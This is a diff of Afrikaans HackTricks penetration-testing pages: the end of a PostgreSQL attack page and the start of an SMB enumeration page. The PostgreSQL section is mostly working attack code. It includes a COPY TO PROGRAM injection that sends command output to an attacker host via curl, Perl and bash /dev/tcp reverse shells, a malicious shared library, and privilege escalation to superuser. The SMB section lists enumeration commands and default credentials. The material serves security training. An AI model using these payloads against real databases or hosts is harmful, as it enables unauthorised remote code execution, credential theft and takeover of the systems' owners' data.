|
||||
```sql
|
||||
# Before executing these function go to the postgres DB (not in the template1)
|
||||
\c postgres
|
||||
|
@ -297,6 +324,7 @@ SHOW data_directory;
|
|||
GRANT pg_read_server_files TO username;
|
||||
# Check CREATEROLE privilege escalation
|
||||
```
|
||||
|
||||
Jy kan **meer funksies** vind by [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
|
||||
### Eenvoudige Lêer Skryf
|
||||
|
@ -311,9 +339,11 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
|||
|
||||
{% hint style="warning" %}
|
||||
Onthou dat as jy nie 'n supergebruiker is nie, maar wel die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:**
|
||||
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
||||
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
|
@ -345,19 +375,18 @@ Vereiste stappe:
|
|||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Nota:** As jy nie die huidige data gids pad vanaf instellings kan kry nie, kan jy die hoof PostgreSQL weergawe deur die `SELECT version()` navraag kry en probeer om die pad te brute force. Gewone data gids paaie op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone cluster naam is `main`.
|
||||
2. Kry 'n relatiewe pad na die lêernode, geassosieer met die teikentabel
|
||||
**Nota:** As jy nie die huidige data gids pad vanaf instellings kan kry nie, kan jy die hoof PostgreSQL weergawe deur die `SELECT version()` navraag kry en probeer om die pad te brute force. Gewone data gids paaie op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone cluster naam is `main`. 2. Kry 'n relatiewe pad na die lêernode, geassosieer met die teikentabel
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
|
||||
Hierdie navraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_DIRECTORY/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
3. Laai die lêernode af deur die `lo_*` funksies
|
||||
Hierdie navraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_DIRECTORY/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`. 3. Laai die lêernode af deur die `lo_*` funksies
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
|
||||
4. Kry die datatipe, geassosieer met die teikentabel
|
||||
|
||||
```sql
|
||||
|
@ -379,24 +408,26 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
|
||||
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die lêernode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae na 1 vir volle regte.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. Laai die gewysigde lêernode weer op deur die `lo_*` funksies, en oorskryf die oorspronklike lêer op die skyf
|
||||
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) 6. Laai die gewysigde lêernode weer op deur die `lo_*` funksies, en oorskryf die oorspronklike lêer op die skyf
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
|
||||
7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL navraag uit te voer
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
|
||||
8. Jy behoort nou opgedateerde tabelwaardes in die PostgreSQL te sien.
|
||||
|
||||
Jy kan ook 'n superadmin word deur die `pg_authid` tabel te wysig. **Sien** [**die volgende afdeling**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
@ -406,10 +437,13 @@ Jy kan ook 'n superadmin word deur die `pg_authid` tabel te wysig. **Sien** [**d
|
|||
### **RCE na program**
|
||||
|
||||
Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** kopie vir RCE gebruik (voorbeeld met eksfiltrering:
|
||||
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
|
||||
Voorbeeld om uit te voer:
|
||||
|
||||
```bash
|
||||
#PoC
|
||||
DROP TABLE IF EXISTS cmd_exec;
|
||||
|
@ -422,11 +456,14 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
#Notice that in order to scape a single quote you need to put 2 single quotes
|
||||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Onthou dat as jy nie 'n supergebruiker is nie, maar die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:**
|
||||
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
||||
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
|
@ -471,13 +508,13 @@ Dan sal 'n aanvaller moet:
|
|||
|
||||
1. **Dump privaatsleutel** van die bediener
|
||||
2. **Enkripteer** afgelaaide privaatsleutel:
|
||||
1. `rsa -aes256 -in afgelaai-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Oorskryf**
|
||||
4. **Dump** die huidige postgresql **konfigurasie**
|
||||
5. **Oorskryf** die **konfigurasie** met die genoemde eienskappekonfigurasie:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Voer `pg_reload_conf()` uit
|
||||
3. `rsa -aes256 -in afgelaai-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
4. **Oorskryf**
|
||||
5. **Dump** die huidige postgresql **konfigurasie**
|
||||
6. **Oorskryf** die **konfigurasie** met die genoemde eienskappekonfigurasie:
|
||||
7. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
8. `ssl_passphrase_command_supports_reload = on`
|
||||
9. Voer `pg_reload_conf()` uit
|
||||
|
||||
Tydens die toets van hierdie het ek opgemerk dat dit net sal werk as die **privaatsleutel-lêer die regte 640-privileges het**, dit **deur root besit word** en deur die **groep ssl-cert of postgres** (sodat die postgres-gebruiker dit kan lees), en in _/var/lib/postgresql/12/main_ geplaas is.
|
||||
|
||||
|
@ -513,7 +550,7 @@ Die aanvalstappe is:
|
|||
2. Sluit die `/tmp/`-gids in die `dynamic_library_path`-waarde in, byvoorbeeld `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Sluit die skadelike biblioteeknaam in die `session_preload_libraries`-waarde in, byvoorbeeld `session_preload_libraries = 'payload.so'`
|
||||
4. Kontroleer die hoof PostgreSQL-weergawe via die `SELECT version()`-navraag
|
||||
5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-dev-pakket Voorbeeldkode:
|
||||
5. Kompileer die skadelike biblioteekkode met die korrekte PostgreSQL-dev-pakket Voorbeeldkode:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -559,10 +596,12 @@ Kompilering van die kode:
|
|||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
|
||||
6. Laai die skadelike `postgresql.conf`, geskep in stappe 2-3, af en oorskryf die oorspronklike een
|
||||
7. Laai die `payload.so` van stap 5 na die `/tmp`-gids oor
|
||||
8. Herlaai die bedienerskonfigurasie deur die bediener te herlaai of die `SELECT pg_reload_conf()`-navraag te roep
|
||||
9. By die volgende DB-verbinding sal jy die omgekeerde dopverbinding ontvang.
|
||||
|
||||
## **Postgres Privesc**
|
||||
|
||||
### CREATEROLE Privesc
|
||||
|
@ -572,6 +611,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
|||
Volgens die [**dokumentasie**](https://www.postgresql.org/docs/13/sql-grant.html): _Rolle met die **`CREATEROLE`** voorreg kan **lidmaatskap in enige rol toeken of herroep** wat **nie** 'n **supergebruiker** is nie._
|
||||
|
||||
Dus, as jy **`CREATEROLE`** toestemming het, kan jy jouself toegang gee tot ander **rolle** (wat nie supergebruikers is nie) wat jou die opsie kan gee om lêers te lees en skryf en opdragte uit te voer:
|
||||
|
||||
```sql
|
||||
# Access to execute commands
|
||||
GRANT pg_execute_server_program TO username;
|
||||
|
@ -580,21 +620,27 @@ GRANT pg_read_server_files TO username;
|
|||
# Access to write files
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
|
||||
#### Wysig Wagwoord
|
||||
|
||||
Gebruikers met hierdie rol kan ook die wagwoorde van ander nie-supergebruikers **verander**:
|
||||
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
|
||||
#### Privesc na SUPERUSER
|
||||
|
||||
Dit is redelik algemeen om te vind dat **plaaslike gebruikers kan aanmeld by PostgreSQL sonder om enige wagwoord te verskaf**. Daarom, sodra jy **toestemmings om kode uit te voer** ingesamel het, kan jy hierdie toestemmings misbruik om jou die **`SUPERUSER`** rol te gee:
|
||||
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Dit is gewoonlik moontlik as gevolg van die volgende lyne in die **`pg_hba.conf`** lêer:
|
||||
|
||||
```bash
|
||||
# "local" is for Unix domain socket connections only
|
||||
local all all trust
|
||||
|
@ -611,14 +657,16 @@ In [**hierdie skrywe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-probl
|
|||
|
||||
Wanneer jy probeer om **'n ander gebruiker eienaar van 'n tabel te maak**, behoort jy 'n **fout** te kry wat dit voorkom, maar blykbaar het GCP daardie **opsie aan die nie-supergebruiker postgres-gebruiker** in GCP gegee:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(4)%20(1)%20(1)%20(1)%20(2)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deur hierdie idee te koppel met die feit dat wanneer die **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) opdragte uitgevoer word op 'n **tabel met 'n indeksfunksie**, word die **funksie** as deel van die opdrag met die **eienaar se toestemmings** geroep. Dit is moontlik om 'n indeks met 'n funksie te skep en eienaarskapstoestemmings aan 'n **supergebruiker** oor daardie tabel te gee, en dan ANALYZE oor die tabel uit te voer met die skadelike funksie wat opdragte kan uitvoer omdat dit die toestemmings van die eienaar gebruik.
|
||||
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||||
```
|
||||
|
||||
#### Uitbuiting
|
||||
|
||||
1. Begin deur 'n nuwe tabel te skep.
|
||||
|
@ -628,6 +676,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
5. Voer 'n ANALYSE-operasie op die tabel uit. Hierdie aksie dwing die PostgreSQL-enjin om na die gebruikerskonteks van die tabel se eienaar, "cloudsqladmin," te skakel. Gevolglik word die skadelike indeksfunksie met die regte van "cloudsqladmin" geroep, wat die uitvoering van die voorheen ongemagtigde skul bevel moontlik maak.
|
||||
|
||||
In PostgreSQL lyk hierdie vloei so iets:
|
||||
|
||||
```sql
|
||||
CREATE TABLE temp_table (data text);
|
||||
CREATE TABLE shell_commands_results (data text);
|
||||
|
@ -648,13 +697,17 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
|
|||
|
||||
ANALYZE public.temp_table;
|
||||
```
|
||||
|
||||
Dan sal die `shell_commands_results` tabel die uitset van die uitgevoerde kode bevat:
|
||||
|
||||
```
|
||||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
|
||||
### Plaaslike Aanteken
|
||||
|
||||
Sommige verkeerd geconfigureerde postgresql-instanties mag enige plaaslike gebruiker toelaat om in te teken, dit is moontlik om plaaslik in te teken vanaf 127.0.0.1 met behulp van die **`dblink`-funksie**:
|
||||
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
@ -666,14 +719,17 @@ dbname=somedb',
|
|||
'SELECT usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat vir die vorige navraag om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met
|
||||
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
As jy die wagwoord van 'n gebruiker met meer voorregte het, maar die gebruiker is nie toegelaat om vanaf 'n eksterne IP in te teken nie, kan jy die volgende funksie gebruik om navrae as daardie gebruiker uit te voer:
|
||||
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
|
@ -681,10 +737,13 @@ dbname=somedb',
|
|||
'SELECT usename,passwd from pg_shadow')
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
|
||||
Dit is moontlik om te kontroleer of hierdie funksie bestaan met:
|
||||
|
||||
```sql
|
||||
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
|
||||
### **Aangepaste gedefinieerde funksie met** SECURITY DEFINER
|
||||
|
||||
[**In hierdie skryfstuk**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), was pentesters in staat om privesc binne 'n postgres-instansie wat deur IBM voorsien word, omdat hulle **hierdie funksie met die SECURITY DEFINER-vlag gevind het**:
|
||||
|
@ -711,11 +770,13 @@ PERFORM dblink_disconnect();
|
|||
Soos [**verduidelik in die dokumentasie**](https://www.postgresql.org/docs/current/sql-createfunction.html) word 'n funksie met **SECURITY DEFINER uitgevoer** met die voorregte van die **gebruiker wat dit besit**. Daarom, as die funksie **kwesbaar vir SQL-injeksie is** of enige **bevoorregte aksies met parameters wat deur die aanvaller beheer word**, kan dit misbruik word om **voorregte binne postgres te eskaleer**.
|
||||
|
||||
In lyn 4 van die vorige kode kan jy sien dat die funksie die **SECURITY DEFINER**-vlag het.
|
||||
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
||||
```
|
||||
|
||||
En voer dan **bevele uit**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -751,6 +812,7 @@ Die aanvalstappe is:
|
|||
8. Jy behoort nou die regte van 'n volle superadmin te hê.
|
||||
|
||||
## **POST**
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
||||
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
||||
|
@ -758,9 +820,11 @@ msf> use auxiliary/admin/postgres/postgres_readfile
|
|||
msf> use exploit/linux/postgres/postgres_payload
|
||||
msf> use exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
|
||||
### logging
|
||||
|
||||
Binne die _**postgresql.conf**_ lêer kan jy postgresql-logboeke aktiveer deur te verander:
|
||||
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
@ -769,6 +833,7 @@ sudo service postgresql restart
|
|||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||||
```
|
||||
|
||||
Dan, **herlaai die diens**.
|
||||
|
||||
### pgadmin
|
||||
|
@ -776,12 +841,14 @@ Dan, **herlaai die diens**.
|
|||
[pgadmin](https://www.pgadmin.org) is 'n administrasie- en ontwikkelingsplatform vir PostgreSQL.\
|
||||
Jy kan **wagwoorde** binne die _**pgadmin4.db**_ lêer vind\
|
||||
Jy kan hulle ontsluit deur die _**decrypt**_ funksie binne die skriffie te gebruik: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
sqlite3 pgadmin4.db "select * from user;"
|
||||
sqlite3 pgadmin4.db "select * from server;"
|
||||
string pgadmin4.db
|
||||
```
|
||||
|
||||
### pg\_hba
|
||||
|
||||
Kliëntverifikasie in PostgreSQL word bestuur deur 'n konfigurasie lêer genaamd **pg\_hba.conf**. Hierdie lêer bevat 'n reeks rekords, elkeen spesifiseer 'n verbindings tipe, klient IP-adres reeks (indien van toepassing), databasis naam, gebruikersnaam, en die verifikasiemetode om te gebruik vir ooreenstemmende verbindings. Die eerste rekord wat ooreenstem met die verbindings tipe, klient adres, aangevraagde databasis, en gebruikersnaam word gebruik vir verifikasie. Daar is geen terugval of rugsteun as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.
|
||||
|
|
608
network-services-pentesting/pentesting-smb/README.md
Normal file
608
network-services-pentesting/pentesting-smb/README.md
Normal file
|
@ -0,0 +1,608 @@
|
|||
# 139,445 - Pentesting SMB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## **Poort 139**
|
||||
|
||||
Die _**Netwerk Basiese Invoer/Uitvoer Stelsel**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en lessenaars binne 'n plaaslike area-netwerk (LAN) in staat te stel om met netwerkhardeware te interaksieer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-name, wat tot 16 karakters lank kan wees en dikwels verskil van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (as die kliënt optree) 'n bevel uitreik om 'n ander toepassing (as die bediener optree) te "roep" deur gebruik te maak van **TCP-poort 139**.
|
||||
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
|
||||
## Poort 445
|
||||
|
||||
Tegnies gesproke word Poort 139 as 'NBT oor IP' verwys, terwyl Poort 445 geïdentifiseer word as 'SMB oor IP'. Die akroniem **SMB** staan vir 'Server Message Blocks', wat ook modern bekend is as die **Common Internet File System (CIFS)**. As 'n toepassingslaag-netwerkprotokol word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte moontlik te maak, en om verskeie vorms van kommunikasie tussen knooppunte op 'n netwerk te fasiliteer.
|
||||
|
||||
Byvoorbeeld, in die konteks van Windows, word beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Daarteenoor, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
|
||||
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
|
||||
### SMB
|
||||
|
||||
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gids en ander netwerkbronne soos drukkers en roetepunte te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB agterwaartse versoenbaarheid, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel toelaat om naadloos te interaksieer met dié wat ouer weergawes hardloop. Daarbenewens bied die **Samba** projek 'n gratis sagteware-oplossing wat SMB se implementering op **Linux** en Unix-stelsels moontlik maak, wat sodoende kruisplatform kommunikasie deur SMB fasiliteer.
|
||||
|
||||
Shares, wat **willekeurige dele van die plaaslike lêerstelsel** voorstel, kan deur 'n SMB-bediener voorsien word, wat die hiërargie sienbaar maak vir 'n klient wat deels **onafhanklik** is van die werklike struktuur van die bediener. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, maak fynbeheerde beheer oor gebruikersregte moontlik, insluitend eienskappe soos **`uitvoer`**, **`lees`** en **`volle toegang`**. Hierdie regte kan aan individuele gebruikers of groepe toegewys word, gebaseer op die shares, en is afsonderlik van die plaaslike regte wat op die bediener ingestel is.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Toegang tot die IPC$ share kan verkry word deur 'n anonieme nul-sessie, wat interaksie met dienste wat blootgestel word deur benoemde pype, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Behoorlik gebruik, maak dit die verkryging van die volgende moontlik:
|
||||
|
||||
* Inligting oor die bedryfstelsel
|
||||
* Besonderhede oor die ouer domein
|
||||
* 'n Samestelling van plaaslike gebruikers en groepe
|
||||
* Inligting oor beskikbare SMB shares
|
||||
* Die effektiewe stelselsekuriteitsbeleid
|
||||
|
||||
Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprofessionals om die sekuriteitspostuur van SMB (Server Message Block) dienste op 'n netwerk te assesseer. `enum4linux` bied 'n omvattende siening van die teikensisteem se SMB-omgewing, wat noodsaaklik is vir die identifisering van potensiële kwesbaarhede en om te verseker dat die SMB-dienste behoorlik beveilig is.
|
||||
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
|
||||
Die bogenoemde bevel is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige opname teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
|
||||
|
||||
## Wat is NTLM
|
||||
|
||||
As jy nie weet wat NTLM is nie of as jy wil weet hoe dit werk en hoe om dit te misbruik, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar **hoe hierdie protokol werk en hoe jy dit kan benut** verduidelik word:
|
||||
|
||||
{% content-ref url="../../windows-hardening/ntlm/" %}
|
||||
[ntlm](../../windows-hardening/ntlm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Bedieneropname**
|
||||
|
||||
### **Skan** 'n netwerk om na gasheer te soek:
|
||||
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
|
||||
### SMB-bedienerweergawe
|
||||
|
||||
Om moontlike uitbuitings vir die SMB-weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
|
||||
|
||||
* Gebruik die **MSF** hulpmodule \_**auxiliary/scanner/smb/smb\_version**
|
||||
* Of hierdie skrips:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
#Description:
|
||||
# Requires root or enough permissions to use tcpdump
|
||||
# Will listen for the first 7 packets of a null login
|
||||
# and grab the SMB Version
|
||||
#Notes:
|
||||
# Will sometimes not capture or will print multiple
|
||||
# lines. May need to run a second time for success.
|
||||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
|
||||
### **Soek uitbuiting**
|
||||
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
|
||||
### **Moontlike** Gelde
|
||||
|
||||
| **Gebruikersnaam(s)** | **Gewone wagwoorde** |
|
||||
| --------------------------------- | ------------------------------------------- |
|
||||
| _(leeg)_ | _(leeg)_ |
|
||||
| gas | _(leeg)_ |
|
||||
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
|
||||
| arcserve | arcserve, rugsteun |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, rugsteun | backupexec, rugsteun, arcada |
|
||||
| toets, laboratorium, demonstrasie | wagwoord, toets, laboratorium, demonstrasie |
|
||||
|
||||
### Brute Force
|
||||
|
||||
* [**SMB Brute Force**](../../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB Omgewingsinligting
|
||||
|
||||
### Verkry Inligting
|
||||
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||
|
||||
#Connect to the rpc
|
||||
rpcclient -U "" -N <IP> #No creds
|
||||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||
rpcclient -U "username%passwd" <IP> #With creds
|
||||
#You can use querydispinfo and enumdomusers to query user information
|
||||
|
||||
#Dump user information
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
#Map possible RPC endpoints
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
|
||||
### Enumereer Gebruikers, Groepe & Ingeteken Gebruikers
|
||||
|
||||
Hierdie inligting behoort reeds ingesamel te wees deur enum4linux en enum4linux-ng
|
||||
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||
|
||||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||
|
||||
rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
|
||||
### Enumereer plaaslike gebruikers
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
|
||||
### Eenreël
|
||||
|
||||
```bash
|
||||
